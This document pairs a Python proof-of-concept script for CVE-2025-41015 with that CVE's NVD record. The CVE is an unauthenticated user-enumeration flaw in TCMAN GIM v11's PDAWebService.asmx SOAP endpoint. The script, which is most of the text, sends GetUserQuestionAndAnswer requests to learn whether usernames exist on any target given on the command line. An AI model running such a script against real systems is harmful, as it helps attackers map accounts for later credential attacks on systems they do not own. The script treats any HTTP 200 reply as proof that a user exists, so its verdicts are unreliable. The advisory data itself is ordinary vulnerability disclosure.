CVE-2025-41015

import requests import sys # CVE-2025-41015 PoC - TCMAN GIM v11 User Enumeration # Target: /WS/PDAWebService.asmx # Parameter: pda:username # SoapAction: GetUserQuestionAndAnswer def check_user(target_url, username): """Check if a user exists by analyzing the response difference""" headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': 'GetUserQuestionAndAnswer' } soap_body = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetUserQuestionAndAnswer xmlns="http://tempuri.org/"> <pda:username xmlns:pda="http://pda.example.com/">{username}</pda:username> </GetUserQuestionAndAnswer> </soap:Body> </soap:Envelope>''' try: response = requests.post(target_url, data=soap_body, headers=headers, timeout=10) # Analyze response to determine if user exists if 'QuestionAndAnswer' in response.text or response.status_code == 200: return True # User likely exists elif 'UserNotFound' in response.text or response.status_code == 404: return False # User does not exist else: return None # Unable to determine except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <username>") print(f"Example: python {sys.argv[0]} http://target.com/WS/PDAWebService.asmx admin") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] print(f"[*] Checking user: {username}") print(f"[*] Target: {target_url}") result = check_user(target_url, username) if result is True: print(f"[+] User '{username}' EXISTS in the system") elif result is False: print(f"[-] User '{username}' does NOT exist") else: print(f"[?] Unable to determine user existence") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-41015", "sourceIdentifier": "[email protected]", "published": "2025-12-02T14:16:24.753", "lastModified": "2025-12-03T20:08:14.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "User Enumeration Vulnerability in TCMAN GIM v11 version 20250304. This vulnerability allows an unauthenticated attacker to determine whether a user exists on the system. The vulnerability is exploitable through the 'pda:username' parameter with 'soapaction GetUserQuestionAndAnswer' in '/WS/PDAWebService.asmx'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tcman:gim:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-04-01", "matchCriteriaId": "60C91556-380B-401D-BC94-40FA46DF23F2"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-tcman-gim-2", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}